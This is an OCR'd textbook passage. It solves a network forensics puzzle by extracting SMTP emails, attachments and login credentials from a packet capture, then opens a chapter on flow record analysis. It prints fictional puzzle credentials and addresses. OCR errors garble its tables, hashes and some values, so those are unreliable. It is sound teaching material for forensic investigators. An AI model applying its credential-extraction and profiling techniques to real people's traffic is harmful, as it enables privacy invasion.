Figure 4-44. Erik added the “Messages’ tab for the “Ann Skips Bail’ SMTP puzzle on
ForensicsContest.com. Notice that NetworkMiner automatically parses headers and displays
them along with the body of each SMTP message. It can also show other types of messages,
such as IMs.

Hosts (1161 | Frames |24xx) | Files (81] | Images [34) Messages (3)| Credenbials [5)| Sessions (31)| DNS [407) | Parameters (203] | Keywords | Cleattest | Ancmalies|

Framenr.  Fecon..  Sowc.. S. port Destin., D. port Frotocol | Flename Extens... Size  Timest.,.  Detals
1530 CADoc.. 192160, TCP1G34 64127, TCPSOTF  SMTP reedafavoralemative akemnai. 460 SA7/2.  E-mal From: "Arn Decoy..
1590 CADoc.. 192768, TCP1B34 B4727.. TLPS5ES  SMIP needafavorhiml i 4478 BATAZ. E-mal From: "Arn Dercor..
1752 ChDoc.. 1927168, TCP1637 B4.121. TLPSET SMTP lunchnestv. akemative ahenati. 468 EA7/2.  E-mai From "Arn Dercov...
1752 CADoc 192 168 TCP1RA7 R4121 TCPEAT  SMTP lunchnest himl il 4938 EA7/2 E-mail From: "brn Decoy
ChDoc.. 192768, TCP 1639 TCPE8T  SMTP rendezvous mixed mixed 460
TCF 1635

TCPEBY  SMTP rendezvous himl him 4028 EAT.

TCP 1689 TCP 587 sacratiandazy dock 205409 BATY

3

Figure 4—45. The “Files” tab displays files that NetworkMiner automatically carved out of the
packet capture.

The “Messages” tab, which Erik added specifially to solve this puzzle (lucky us!), is
shown in Figure 4-44. As you can see, it automatically parses SMTP headers and displays
them along with the body of each message.

In NetworkMiner’s “Files” tab, you can see all the files that NetworkMiner carved out of
the packet capture. In Figure 4-45 you can see that NetworkMiner identified the “secretren-
dezvous.docx” file, and by right-clicking on it, you can open it up and view the contents.

NetworkMiner even automatically recovers the client’s authentication credentials. As
shown in Figure 4-46, It automatically decodes the Base64-encoded SMTP Authentication
credentials and lists them in the “Credentials” tab.

4.6.8.2 smtpdump and docxtract

In this example, we use “smtpdump” to automatically analyze the evidence file, print SMTP
authentication information, extract the attachments, and print corresponding cryptographic
checksums.
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Hosts (116] | Frames [24xx] | Fies (1] | Images [34) | Messages (3| Credertials (3] | Sessions (31 DNS [407) Parameters (203] | Keywords | Cleartest | Anomalies

LChent Serve Protocal Uszsrname Pazewond YWahd login  Login himestamp
9ZT0a 30100 ] ). 1412520 HTTE Conkie test cookie=C..” HZ& 7 " Unknown SARA0TT T W
19216830108 | - 1412522412 [p HTTP Cookie  test_cookie=C...  M/4 Unknown 51772011 1:32:28 FM
192163.20.108 [annlzptop].. 74.125.224.122 [pag..  HTTP Coockie  id=-224833600.. MN/A Unknown  BA17/2011 1:32:28 FM
19216830108 [anndaptop] .. 208107.213.36 [a12..  HTTP Cockie UID=21alelfa.. M/ Unknown 51772011 1:32.26 FM
192160300100 [annlsptop] .. 641216240 [Linue) SHTP sneakpgIky s00persIkilt  Unknown  5M17/2011 1:33:06 PM

Figure 4-46. NetworkMiner automatically extracts SMTP Authentication credentials, and even
Base64 decodes them for you.

The command below tells smtpdump to analyze SMTP flow #3 in the packet capture
(-f 3), extract attachments (-x), print the MD5sum (-m), and print authentication data (-A).

$ smtpdump -f 3 -x -m -A -r evidence-packet-analysis.pcap
[3] 192.168.30.108:1689 => 64.12.168.40:587
=== Authentication infos ===
Found LOGIN method
Username: sneakyg33ky
Password: sOOpers3krit

=== Attachments infos ===
Type: multipart/alternative
Type: application/octet-stream
Saving file to disk: secretrendezvous.docx

File: secretrendezvous.docx (MD5: 0x9049b6d9e26fe878680eb3f28d72d1d2)

Subsequently, we can use “docxtract” to extract all images from the carved .docx at-
tachment (-x -i), and print the corresponding cryptopgraphic checksum (-m).

$ docxtract -x -i -m secretrendezvous.docx
Extracting: imagel.png (194124 bytes)
MD5: aadeaceb50997b1ba24b09ac2ef1940b7

4.6.8.3 findsmtpinfo.py
We can use “findsmtpinfo.py” to:

e Print SMTP authentication information

e Extract all messages from the packet capture

e Extract all attachments from the messages

e Print the MDb5 sums for each of the attachments
Extract the files embedded within the .docx file
Print the MD5 sums for each of the embedded files

The “findsmtpinfo.py” tool produces these results automatically and creates a series of
reports suitable for the appendix of a professional forensics report. This is a nice example
of how a small, sharp tool can be used to extract evidence very efficiently, as shown below:
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$ findsmtpinfo.py -p evidence-packet-analysis.pcap
Found SMTP Session data

Report: 192.168.030.108.01687-064.012.168.040.00587

Found SMTP Session data
SMTP AUTH Login: sneakyg33ky
SMTP AUTH Password: sOOpers3krit
SMTP MAIL FROM: <sneakyg33kyQaol.com>
SMTP RCPT TO: <d4rktangent@gmail.com>
Found email Messages
- Writing to file: ./report/messages
/1/192.168.030.108.01687-064.012.168.040.00587.msg
- MD5 of msg: 2141fcb61af1fd3985f18c3ca2b985b2
- Found Attachment
- Writing to filename: ./report/messages/1/part-001.ksh
- Type of Attachement: text/plain
- MDS of Attachement: 4bd7b649e5f2b3fd18fd3e3cd40fifae
- Found Attachment
- Writing to filename: ./report/messages/1/part-001.html
- Type of Attachement: text/html
- MDS of Attachement: 1cf5b25642406fa49b1912cccc93cde?2

Report: 192.168.030.108.01688-205.188.058.010.00143

Found SMTP Session data

The “findsmtpinfo.py” tool even automatically unzips the attached .docx file, extracts
each of the embedded files, and prints MD5sums for each, as shown below:

Found SMTP Session data
SMTP AUTH Login: sneakyg33ky
SMTP AUTH Password: sOOpers3krilt
SMTP MAIL FROM: <sneakyg33kyQaol.com>
SMTP RCPT TO: <mistersekritx@aol.com>
Found email Messages
- Writing to file: ./report/messages
/2/192.168.030.108.01689-064.012.168.040.00587.msg
- MD5 of msg: 94d957fda87d9114016e65ebafcl2cef
- Found Attachment
- Writing to filename: ./report/messages/2/part-001.ksh
- Type of Attachement: text/plain
- MDS of Attachement: ba2c98f65f3f678b6a71570adcf362f4
- Found Attachment
- Writing to filename: ./report/messages/2/part-001.html
- Type of Attachement: text/html
- MDS of Attachement: d07c3b721fed36a725c01e4827c1ab63
- Found Attachment
- Writing to filename: ./report/messages/2/secretrendezvous.docx
- Type of Attachement: application/octet-stream
- MDS of Attachement: 9049b6d9e26fe878680eb3f28d72d1d2
- ZIP Archive attachment extracting
- Found file
- Writing to filename: ./report/messages/2/secretrendezvous.docx.
unzipped/[Content_Types].xml
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- Type of file: application/xzml
- MDS of File: 8af852cc1775236bac8e8495564ad4ef2
- Found file
- Writing to filename: ./report/messages/2/secretrendezvous.docx.
unzipped/_rels/.rels
- Type of file: None
- MDS of File: 77bf61733a633ea617a4db76ef769a4d
- Found file
- Writing to filename: ./report/messages/2/secretrendezvous.docx.
unzipped/word/_rels/document.xml.rels
- Type of file: None
- MDS of File: 1445296e2c18e6f42da2f6c4455d6a6c¢c
- Found file
- Writing to filename: ./report/messages/2/secretrendezvous.docx.
unzipped/word/document .xml
- Type of file: application/xml
- MDS of File: ac21289076d00f81ec885509e27b6d2f
- Found file
- Writing to filename: ./report/messages/2/secretrendezvous.docx.
unzipped/word/media/imagel.png
- Type of file: image/png
- MDS of File: aadeace50997blba24b09ac2ef1940b7

4.6.9 Timeline

Based on our analysis so far, we can create a timeline of events. As always, this is simply a
working hypothesis based on the available evidence, and can change with the introduction
of new evidence.

The timeline below summarizes the events of interest that we have identified so far. Note
that the times are those listed within the packet capture, as recorded by the sniffing system.
(The dates and times listed in the bodies of the emails we retrieved under the “Date” header
were set by the system under investigation, and should be considered less reliable than our
packet capturing system.)

All times listed below occurred on May 17, 2011.

13:32:01.419886—Packet capture begins
13:32:03.166396—First DHCP Request from 00:21:70:4d:4f:ae (Ann’s computer)

13:32:03.167145—DHCP ACK from 192.168.30.10 to Ann’s computer, assigning
00:21:70:4d:4f:ae the IP address 192.168.1.108 with a 1-hour lease time.

13:33:05.834649-13:33:07.847758 —First SMTP conversation. Email sent from
Ann’s computer with sender sneakyg33ky@aol.com and recipient interOptlc@aol.com.

13:34:15.110657-13:34:17.204721—Second SMTP conversation. Email sent from
Ann’s computer with sender sneakyg33ky@aol.com and recipient d4rktangent@gmail
.com.

13:35:15.504697-13:35:23.263802—Third SMTP conversation. Email sent from
Ann’s computer with sender sneakyg33ky@aol.com and recipient mistersekritx@aol.com.

13:35:23.263802—Packet capture ends
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4.6.10 Theory of the Case

Now that we have put together a timeline of events, let’s summarize our theory of the case.
Again, this is a working hypothesis strongly supported by the evidence, references, and
experience:

e Ann Dercover connected her laptop (“ann-laptop”) to the network on May 17, 2011,
at 13:32:03. Her computer was probably manufactured by Dell.

e At 13:33:05, Ann sent email from her AOL account, sneakyg33ky@aol.com, to
interOpt1lc@aol.com, asking the recipient, “Hey, can you hook me up quick with that
fake passport you were talking about?”

e At 13:34:15, Ann sent email from her AOL account, sneakyg33ky@aol.com, to
d4rktangent@gmail.com, informing the recipient, “Sorry—I can’t do lunch next week
after all. Heading out of town. Another time!”

e At 13:35:15, Ann sent email from her AOL account, sneakyg33ky@aol.com, to mis-
tersekritx@aol.com, with the message, “Hi sweetheart! Bring your fake passport and
a bathing suit. Address attached. love, Ann.” The email had a .docx attachment that
contained an address and a map.

4.6.11 Response to Challenge Questions
Now, let’s answer the investigative questions posed to us at the beginning of the case.

e Provide any online aliases or addresses and corresponding account creden-
tials that may be used by the suspect under investigation.
Based on our SMTP analysis, there are indications that Ann Dercover uses the email
address sneakyg33ky@aol.com, and that her password is “sOOpers3krlt.”

e Who did Ann communicate with? Provide a list of email addresses and any
other identifying information.
We have seen that sneakyg33ky@aol.com sent emails to the following recipients:

— interOptlc@aol.com
— d4rktangent@gmail.com
— mistersekritx@aol.com

e Extract any transcripts of Ann’s conversations and present them to inves-
tigators.
Here is a quick summary of Ann’s conversations, sent via SMTP:

— SMTP Message #1
Sender: sneakyg33ky@aol.com
Recipient: interOptlc@aol.com
Date [beginning of SMTP conversation|: May 17, 2011 13:33:05
Subject: need a favor
Message [formatting removed|: Hey, can you hook me up quick with that fake
passport you were talking about? - Ann
Attachments of interest: None
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— SMTP Message #2
Sender: sneakyg33ky@aol.com
Recipient: d4rktangent@gmail.com
Date [beginning of SMTP conversation]: May 17, 2011 13:34:15
Subject: lunch next week
Message [formatting removed]: Sorry—I can’t do lunch next week after all. Head-
ing out of town. Another time! - Ann
Attachments of interest: None

— SMTP Message #3
Sender: sneakyg33ky@aol.com
Recipient: mistersekritx@aol.com
Date [beginning of SMTP conversation|: May 17, 2011 13:35:15
Subject: rendezvous
Message [formatting removed]: Hi sweetheart! Bring your fake passport and a
bathing suit. Address attached. love, Ann
Attachments of interest: secretrendezvous.docx

e If Ann transferred or received any files of interest, recover them.

We recovered one Office Open XML Document (.docx) file, attached to Ann’s email
to mistersekritx@aol.com.

The MD5 checksum of the .docx file was:
9049b6d9e26£e878680eb328d72d1d2

The SHA256 checksum was:
24601¢174587be4ddfff0b9e6d598618c6abfcfadb16f7dd6dbd7a24aedbiecs

The document began with the text, “Meet me at the fountain near the rendezvous
point. Address below. I'm bringing all the cash.” This was followed by a PNG image
of a map with an address.

Are there any indications of Ann’s physical whereabouts? If so, provide
supporting evidence.

The document that Ann sent to mistersecretx@aol.com indicates that she would like
to meet him at the following address:

Playa del Carmen

1 Av Constituyentes 1 Calle 10 x la b5ta
Avenida

Playa del Carmen, 77780, Mexico

01 984 873 4000

Of course, there is no guarantee that Ann and/or the email recipient ever traveled to
this location. Perhaps Ann was trying to throw us off her trail!
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4.6.12 Next Steps

By analyzing a short packet capture from May 17, 2011, we’ve retrieved significant
information about Ann’s communications, including an email address and password, which
she likely uses for personal correspondence, the addresses of three correspondents, and an
attachment that may contain clues to her physical whereabouts. What are our next steps?
Here are some possibilities:

e Further Analysis of the Packet Capture Recall that this packet capture also
contains IMAP and HTTP traffic. Each of these protocols may include additional
communications. For example, we can analyze the IMAP traffic to recover more email
correspondence. The HTTP traffic might contain web-based email account activity, or
clues to Ann’s interests—perhaps even travel-related information such as searches for
hotels, restaurants, or plane fares.

e Email Account Monitoring If there is sufficient evidence, and relevant laws and /or
ISP policies allow, it may be possible to monitor activity relating to a suspect’s email
account on an ongoing basis. This may include a history of connections from client
IP addresses—very useful information if you are trying to track down the suspect’s
physical location. It may also include message header information such as recipient,
date, and time, or in some cases, the actual contents of the emails. Even if you have
the suspect’s password, be absolutely sure to consult with legal counsel before using
a suspect’s credentials to gain access to their account. In general, when possible, it is
best to work with the ISP and obtain information through their standard channels.
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Chapter 5

Statistical Flow Analysis

“Often think of the rapidity with which things pass by and disappear. ... For substance is
like a Tiver in a continual flow, and the activities of things are in constant change, and the
causes work in infinite varieties; and there is hardly anything which stands still.”’

—The Meditations, by Marcus Aurelius'

If you were capable of watching all of the automobiles driving on the roads within a geo-
graphic area, mapping sources and destinations, volumes of people and objects moved, and
directions of transfer, you would be able to tell quite a lot about the activities of the people
in the area. Not only could you make broad statements about the general habits of all the
people, you could also identify areas of congestion on the roads and unusual volumes or
types of activity. If you had very granular data, you could track vehicles from specific home
addresses, to offices, stores, and back. You could infer the normal work times of individ-
uals, general interests, and hobbies. You could look back in time after a crime had been
committed—Ilet’s say a robbery at a store—and make a list of all the people who were likely
present during that time frame.

In many ways, network flow record analysis is analagous to analysis of traffic patterns on
the roads in real life, except that it is far easier to gather granular information on computer
networks.

Every packet that traverses a network can be logged and recorded. Since the early days
of networking, it has been common to record basic information about flows,? including
source and destination IP address, source and destination port (where applicable), protocol,
date, time, and the size of the data transmitted in each packet. Network flow records were
originally generated, captured, and analyzed to improve network performance, but gradually
it has become clear that the data is extremely valuable for other reasons as well. This
information can provide network engineers and investigators with a wealth of information
about activity on the network.

Forensic analysts investigating a crime may find that flow records can reveal a detailed
potrait of network activity. In network forensic investigations, statistical analysis of flow
data can serve a variety of purposes, including;:

e Identifying Compromised Hosts Often, compromised hosts send out more traffic
than normal, transmit or receive traffic on unusual ports, or communicate with other
systems that are known to be malicious.

1. Marcus Aurelius, The Meditations (The Internet Classics Archive, 2000), http://classics.mit.edu/
Antoninus/meditations.mb.txt.

2. N. Brownlee, “RFC 2722—Traffic Flow Measurement: Architecture,” IETF, October 1999, http://www
rfc-editor.org/rfc/rfc2722.txt. 159
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e Confirming or Disproving Data Leakage Network investigators often receive
flow records with requests to determine whether an unknown attacker exported sensi-
tive information across the network perimeter. If the time frame is bounded, and flow
records are comprehensive, it is possible to analyze the volume of exported data and
determine whether a leak may have occurred.

e Individual Profiling Flow data can provide a surprisingly rich picture of an in-
dividual’s activity. Flow data from a user’s workstation can reveal normal working
hours, periods of inactivity, lunch times, break times, sources of entertainment, in-
appropriate activity, and more. By correlating activity between endpoints, you may
determine which users communicate and exchange files or URLs between each other.
Profiling can be especially helpful in cases that involve human resources issues.

Statistical flow analysis is becoming increasingly important in the modern world due
to the sheer volume of traffic that organizations produce, manage, and inspect. It is easily
possible for forensic investigators to be so inundated with data that we lack the processing
power to crunch through it all. Consequently, we must be very judicious about which bits
of information we collect. While it is possible to record full contents of all packets, this
would have a high impact on performance, take up a large amount of storage space, and
is generally not necessary. Statistical flow analysis can help investigators identify specific
targets for content analysis and further investigation.

Every bit of data that is not collected is lost forever. Yet too much useless data can make
analysis difficult or impossible.

5.1 Process Overview

In order to gain intelligence about what is flowing on a network, flow records must be
generated, collected, and analyzed. A “flow record” is simply a summary of information
about a flow, which typically includes the source and destination IP address, ports, date
and time, and the amount of data transmitted. Other information may be included in a flow
record as well, depending on the equipment and software generating the flow record, as well
as the local configuration.

Definition: Flow Record

Flow record—A subset of information about a flow. Typically, a flow record includes the
source and destination IP address, source and destination port (where applicable), protocol,
date, time, and the amount of data transmitted in each flow.

A “sensor” is what we commonly call the device that is used to monitor the flows
of traffic on any given segment and extract critical bits of information in a flow record.
Network equipment rarely includes much disk space for storing logs of any type, including
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network flow data. As a result, sensors are designed to immediately export flow records
across the network, once the flow is complete.® Flow record data is exported from a sensor
to a “collector,” which is a server configured to listen on the network for flow record data
and store it to a hard drive. An organization may have multiple collectors to capture flow
record data from different network segments, or to provide redundancy. Once the flow record
data has been exported and stored on a collector or multiple collectors, it can be aggregated
and analyzed using a wide variety of commercial, open-source, and homegrown tools.

Flow Record Processing System

Flow record processing systems include the following components:

e Sensor—The device that is used to monitor the flows of traffic on any given segment
and extract important bits of information to a flow record.

e Collector—A server (or multiple servers) configured to listen on the network for flow
record data and store it to a hard drive.

o Aggregator—When multiple collectors are used, the data is typically aggregated on
a central server for analysis.

e Analysis—Once the flow record data has been exported and stored, it can be analyzed
using a wide variety of commercial, open-source, and homegrown tools.

Forensic investigators interested in analyzing flow record data should start by evaluating
whether the flow record data of interest is already being collected. If not, you will need to
decide whether it is appropriate and/or possible for you to initiate collection and analysis
of flow data, and what strategy will work best for the environment under investigation.

5.2 Sensors

Every organization’s network environment is unique. Some organizations may already have
flow sensors installed before an investigation commences, or at least their existing network
equipment may be capable of producing flow export data if configured properly. Other
organizations may have no such equipment, or the existing sensors may not be suitably
placed for generating flow records necessary for the investigation. The architecture of the
local network environment and the types of equipment available for use as sensors will
strongly influence whether flow record data can be produced within the resources available
for the investigation, and will also affect the resulting output format of the flow export data
and subsequent analysis techniques.

3. R. Stewart, “RFC 4960—Stream Control Transmission Protocol,” IETF, September 2007, http://www
rfc-editor.org/rfc/rfc4960.txt.
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5.2.1 Sensor Types

Sensors can be deployed as standalone appliances, or as software processes running on net-
work equipment that serves other purposes. Many common types of network equipment
are capable of producing flow record data, although network administrators do not always
take advantage of these features. Specific types of network equipment typically support only
limited output formats for flow record exportation, and this is one of the primary reasons
that setting up a standalone appliance may be preferable.

5.2.1.1 Network Equipment

Some switches support flow record generation and exportation. For example, many popular
Cisco Catalyst switches export flow record data. Likewise, current revisions of Cisco routers
and firewalls support the ability to produce flow data and export it to a collector, using
Cisco’s proprietary NetFlow format (which we discuss in detail later in this chapter). Other
vendors, such as Sonicwall, now support an open, standardized version of the flow record
exportation protocol (IPFIX), in addition to NetFlow.% ® Be careful because some vendors
who advertise support for flow record exportation actually base the exported flow record
data on packet sampling, rather than a comprehensive inspection of all flows. Sampled data is
generally not appropriate for network forensics because it will not provide you with complete
information.

5.2.1.2 Standalone Appliances

Although it is common to generate flow records using network equipment that is already
installed, in some cases the local network equipment may not be configured to export flow
record data when the investigator arrives onsite. Furthermore, the existing network equip-
ment may not generate flow data in a format that local administrators or forensic investiga-
tors can use for collection or the equipment may not be capable of generating flow records
at all. In these instances, network administrators or forensic investigators may choose to
deploy a standalone appliance as a sensor for generating and exporting flow record data.

You can deploy a software-based sensor anyplace on the network where you can capture
traffic. Organizations can set up port monitoring or a network tap to send traffic to the
standalone sensor, which in turn processes traffic, generates statistics, and sends flow record
data to the collector. Since the standalone server does not need to concurrently function
as a router or perform other functions, there are usually performance benefits to deploying
standalone sensors to export flow record data.

Forensic investigators work to maintain a small footprint within any environment under
investigation. For this reason, it is often preferable to set up a separate, standalone sensor
rather than modifying existing network infrastructure devices and risk impacting production
functionality.

4. “NSA 3500 Network Security Appliance—SonicWALL, Inc.,” SonicWall, 2011, http://www
.sonicwall.com/us/products/NSA_3500.html#tab=specifications.

5. “NetFlow Ninjas—Attention Firewall Vendors: Please Add NetFlow Support!,” July 20, 2010, http://
netflowninjas.lancope.com/blog/2010/07 /attention-firewall-vendors-please-add-netflow-support-asap.html.
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5.2.2 Sensor Software

Most modern, enterprise-quality routers and switches can be configured to act as sensors and
export flow record data across the network to collectors. This includes devices manufactured
by widely used vendors such as Cisco, Juniper, SonicWALL, and others. Alternatively, you
can set up standalone sensors using free, open-source tools such as Argus, softflowd, or yaf.
We now discuss each of these in turn.

5.2.2.1 Argus

Argus stands for “Audit Record Generation and Utilization System.” It is a mature, libpcap-
based network flow sensing, collection, and analysis toolkit. Argus was first developed at
Carnegie Mellon and released to the public in 1996. It is open-source software, copyrighted
by QoSient, LLC and released under the GNU Public License. Partly due to its long history,
it has been tested on Mac OS X, Linux, FreeBSD, OpenBSD, NetBSD, Solaris, and has also
been ported to many other operating systems (as well as Cygwin).%

Argus is distributed as two packages: the Argus server, which reads packets from a
network interface or packet capture file; and the Argus client tools, which are used to collect,
distribute, process, and analyze Argus data. The Argus server functions as a sensor and can
output flow export data in Argus’ compressed format, as files or over the network via UDP.
As a libpcap-based tool, Argus supports BPF filtering, which allows the user to finetune
filtering and maximize performance. It also supports multiple output streams, which can be
directed to different collector processes or hosts.

Argus is one of the few flow record toolkits that specifically includes mention of forensic
investigation in official documentation:

“Historical netflow data can be used in forensic investigations several months, or years,
after an incident has taken place. Argus’ netflow records offer up to a 10,000:1 ratio from the
packet size to the record written to disk, which allows installations to save records for much
longer than full packet captures. When network security is very important, non-repudiation
becomes a very important requirement that must be provided throughout the network. Arqgus
provides the basic data needed to establish a centralized network activity audit system. If
done properly, this system can account for all network activity in and out of an enclave,
which can provide the basic system needed to assure that someone can’t deny having done
something in the network.’”

5.2.2.2 softflowd

“Softflowd” is an open-source flow monitoring tool developed by Damien Miller. It is
designed to passively monitor traffic and export flow record data in NetFlow format (ver-
sions 1, 5, and 9 are supported, as of the time of this writing).® It can be installed on Linux
and OpenBSD operating systems, and is based on libpcap.

6. “ARGUS—Auditing Network Activity—FAQ,” July 1, 2009, http://www.qosient.com/argus/faq.shtml.
7. “Argus—NSMWiki,” Sguil, 2011, http://nsmwiki.org/index.php?title=Argus#Who_uses_argus.
8. “Softflowd—Fast Software NetFlow Probe,” March 28, 2011, http://www.mindrot.org/projects/softflowd/.
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The hardware requirements are minimal; you need a network card capable of capturing
your target volume of traffic and a second network card for exporting flows from the sensor
to a collector. Select disk space based on the volume of flow data you would like to retain.
(See Chapter 3, “Evidence Acquisition,” for more details on how to passively gain access to
network traffic.)

5.2.2.3 yaf

“Yaf,” stands for “Yet Another Flowmeter.” As the name suggests, it is open-source flow
sensor software.? Released in 2006 under the GNU GPL, yaf is based on libpcap and can read
packets from live interfaces or packet captures. It exports flow data in the IPFIX format,
over SCTP, TCP, or UDP transport-layer protocols. One of the most powerful features of
yaf is that it supports BPF filters for the purposes of filtering incoming traffic. This can
allow investigators and network engineers to dramatically reduce the required processing
capabilities and volume of flow export data.'® Yaf natively supports encrypted flow export
using TLS.!

5.2.3 Sensor Placement

Forensic investigators don’t always have much control over where sensors are placed in an
environment under investigation. In the ideal situation, network infrastructures would be
designed with flow monitoring in mind, for the purpose of performance tuning, as well as
incident response and forensics. However, an investigator may walk into an organization that
has little or no flow record collection set up. In some cases, you may have the opportunity
to initiate flow record exportation and collection during the course of an investigation.

Network engineers and forensic investigators can work together to design a network that
will facilitate flow record collection and analysis. Factors to consider when placing sensors
include:

e Duplication Minimize duplication of flows collected. Duplication is inefficient,
increases the resources needed for analysis, and adds to network congestion during
aggregation. If you collect two of every packet because of where your sensors are
placed, your processing and storage capacity is cut in half. There are times when it is
necessary to place sensors at points where traffic will pass through multiple sensors,
and in these cases, you can use filtering to reduce (but usually not eliminate) duplica-
tion. Make sure to place sensors in locations where you will obtain your targeted data,
of course, while minimizing redundant data collection. To paraphrase Albert Einstein,
“Make things as simple as possible, but no simpler.”

e Time synchronization Time synchronization between sensors is crucial. If the time
on a sensor is not accurate, it is difficult to correlate flows exported by that device

9. Brian Trammell, “YAF—Documentation,” CFERT NetSA Security Suite, http://tools.netsa.cert.org/
yaf/yaf.html.

10. Christopher M. Inacio and Brian Trammell, “YAF: Yet Another Flowmeter,” August 23, 2010, http://
www.usenix.org/event/lisal0/tech/full_papers/Inacio.pdf.

11. “YAF Documentation.”
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with any other device, or evidence gathered from other resources. If you collect flow
records from a device that is already set up, note the clock skew between the sensor
and an accurate source. If you set up your own sensor, make sure to keep the time
synchronized using NTP if possible.

e Perimeter versus internal traffic Most enterprises prioritize flow record collec-
tion from perimeter devices such as external firewalls. However, if all you do is monitor
the perimeter, you’ll never see what’s going on inside the network. Keep in mind that
having visibility inside the network is also very valuable. For example, frequently work-
stations are on a separate subnet from the core data center. Monitoring connections
between these two subnets is likely to be of interest in the event of compromise. Often,
it is valuable for forensic evaluators to have visibility within a single subnet. Local flow
data can help identify compromised workstations that are seeking to propagate to new
targets, both internal and external.

e Resources Remember that there are as many bits flowing across the Internet every
day as there are grains of sand on all the beaches in the world. You can’t have them all.
Every investigator has limited resources. You have to decide, based on your funding,
equipment, staff, and time, which of those grains are most important. Review the local
network map carefully and choose choke points that will maximize your collection
capacity while still fitting within your budget and your ability to process and analyze.

e Capacity Network devices have limited capacity to monitor and process traffic.
Enabling flow record processing and exportation can impact the performance of net-
work equipment, especially if it is already at high utilization. Fortunately, most mod-
ern, enterprise-class network devices have built-in functionality to help you understand
the utilization and capacity in advance. For standalone devices, it is possible to place
the sensor in a location where it simply cannot process the volume of traffic passing
by. Many switches will allow you to oversubscribe a port while doing mirroring. Try
to be aware in advance if capacity will be an issue and, if so, employ more filtering,
or partition VLANSs to multiple sensing ports and deploy multiple sensors or sensing
interfaces.

5.2.4 Modifying the Environment

In most cases, flow record data is not recorded to the extent that an investigator would
prefer for the case at hand. It may be appropriate to initiate collection of supplemental
flow record data for a specific case, depending on the environment and the nature of the
investigation. When an investigative team has decided to gather additional flow record data
by modifying the environment, there are a few general options available:

e Leverage existing equipment The existing network equipment within the infra-
structure may be capable of exporting flow record data. This can include switches,
routers, firewalls, and NIDS/NIPS equipment. In this case, investigators may be able
to leverage this built-in capability through minor configuration changes to the equip-
ment. However, it is crucial to examine the network device capacity before initiating
additional flow record collection to ensure that the network functionality is not nega-
tively impacted and also that the flow record collection will be sufficient. Remember
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also to check in advance and make sure that the format of flow record data exported
by local equipment is supported by your collection system.

e Upgrade network equipment If existing network equipment does not support
flow record exportation or cannot handle the increased capacity, investigators may
choose to deploy replacement switches or other network devices that can handle the
increased capacity. Depending on the type of network equipment, this transition may
be straightforward or may require extensive reconfiguration.

e Deploy additional sensors Many devices that don’t support flow record exporta-
tion still support port mirroring. Investigators can use port mirroring to send packets
of interest to a standalone sensor (such as Argus or softflowd). Similarly, investigators
may choose to deploy a network tap and send data to a standalone sensor for flow
record collection.

Make sure that you carefully document any changes that you make to the environment,
especially if you are involved in a case that may at some point wind up in court.

5.3 Flow Record Export Protocols

Flow records can be exported in a variety of formats, ranging from proprietary protocols
such as Cisco’s NetFlow to the IETE’s open standard, IPFIX. Different formats can store
different types of data, and some formats allow for far more local customization than others.
In this section, we highlight a few of the most popular protocols.

Flow record processing is still relatively new (particularly in the context of forensics),
and because it is not yet mature, tools and equipment typically only support a small subset
of flow record export formats and often are not compatible with each other. Before you
begin your evidence collection and analysis, be sure to research the flow record exportation
formats supported by the equipment and tools used in your investigation.

5.3.1 NetFlow

NetFlow was first developed in 1996 by Cisco Systems, Inc.'? for caching and exporting
traffic flow information. Originally, NetFlow was designed to cache flow information for the
purposes of improving performance. The flow statistics generated proved to be useful for
network analysts in monitoring network performance, debugging issues, and responding to
security threats.

Many devices can produce NetFlow data, from routers to switches to standalone probes.
The sensor maintains a cache that tracks the state of all active flows observed by the device.
When a flow is completed or is no longer active, the sensor marks the flow as “expired” and
then exports the flow record data in a “NetFlow Export” packet that is transmitted over
the network to a collector (or multiple collectors). For NetFlow version 9, the latest release
as of this writing, the “NetFlow Export” packet is transport-layer independent and can be

12. Cisco Systems, Inc., “NetFlow Gives Network Managers a Detailed View of Application Flows on the
Network,” 2004, https://www.cisco.com/en/US/prod/collateral /iosswrel /ps6537/ps6555/ps6601/prod _case
_study0900aecd80311fc2.pdf.
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transmitted over UDP, TCP, or even SCTP (earlier versions of NetFlow supported transport
only over UDP). Although NetFlow was developed by Cisco, it became so popular that
other network device manufacturers included support for the format, including Juniper '3
and Enterasy.'

NetFlow version 5 (NetFlow v5) is straightforward and widely used on a wide vari-
ety of equipment from different manufacturers. However, NetFlow v5 has some important
limitations—for example, it supports only IPv4 (not IPv6) and Export Packets must be
transported over UDP, which is an unreliable transport-layer protocol.

NetFlow version 9 (Netflow v9) is the latest release from Cisco and was also selected by
the IETF as the basis for the IPFIX standard!® (see “IPFIX” below). In addition to provid-
ing support for IPv6 and transport-layer independent exportation, NetFlow v9 introduced
support for flexible template-based specification of flow record fields. This allows users to
customize the data cached and exported by a sensor, enabling both greater flexibility for
analysis as well as performance improvements.

5.3.2 IPFIX

The IP Flow Information Export (IPFIX) protocol is a successor to Cisco’s NetFlow, speci-
fied originally in RFC 51016 and based on NetFlow v9. It is a result of the efforts of an IETF
Working Group that sought to extend the NetFlow v9 protocol to handle bidirectional flow
reporting,'” to reduce data redundancy when reporting on flows with similar attributes,'®
and to provide for better interoperability as an open standard.'®

The flow record data that IPFIX supports is extensible through data templates. The
collector sends the template defining the data to be exported, and the sensor then uses that
template to construct the flow data export packets that are sent back to the collector as the
flows expire.

5.3.3 sFlow

sFlow is a standard for providing network visibility based on packet sampling. It was devel-
oped by InMon Corporation and published as an IETF RFC in 2001%° (the specifications are

13. “Netflow Configuration Juniper,” Caligare, May 10, 2006, http://netflow.caligare.com/configuration
_juniper.htm.

14. “Wireless Access Points, Cloud Based Solutions, Data Center Solutions,” FEnterasys, July 15, 2010,
http://secure.enterasys.com/support/manuals/hardware/NetFlowFeatGde071510.pdf.

15. B. Claise, “RFC 3954—Cisco Systems NetFlow Services Export Version 9,” IETF, October 2004,
http://www.rfc-editor.org/rfc/rfc3954.txt.

16. B. Claise, “RFC 5101—Specification of the IP Flow Information Export (IPFIX) Protocol for the
Exchange of IP Traffic Flow Information,” IETF, January 2008, http://www.ietf.org/rfc/rfc5101.txt.

17. B. Trammell and E. Boschi, “RFC 5103—Bidirectional Flow Export Using IP Flow Information Export
(IPFIX),” IETF, January 2008, http://www.ietf.org/rfc/rfc5103.txt.

18. E. Boschi, “RFC 5473—Reducing Redundancy in IP Flow Information Export (IPFIX) and Packet
Sampling (PSAMP) Reports,” IETF, March 2009, http://www.ietf.org/rfc/rfc5473.txt.

19. “IP Flow Information Export (ipfix),” Datatracker, 2011, http://datatracker.ietf.org/wg/ipfix/.

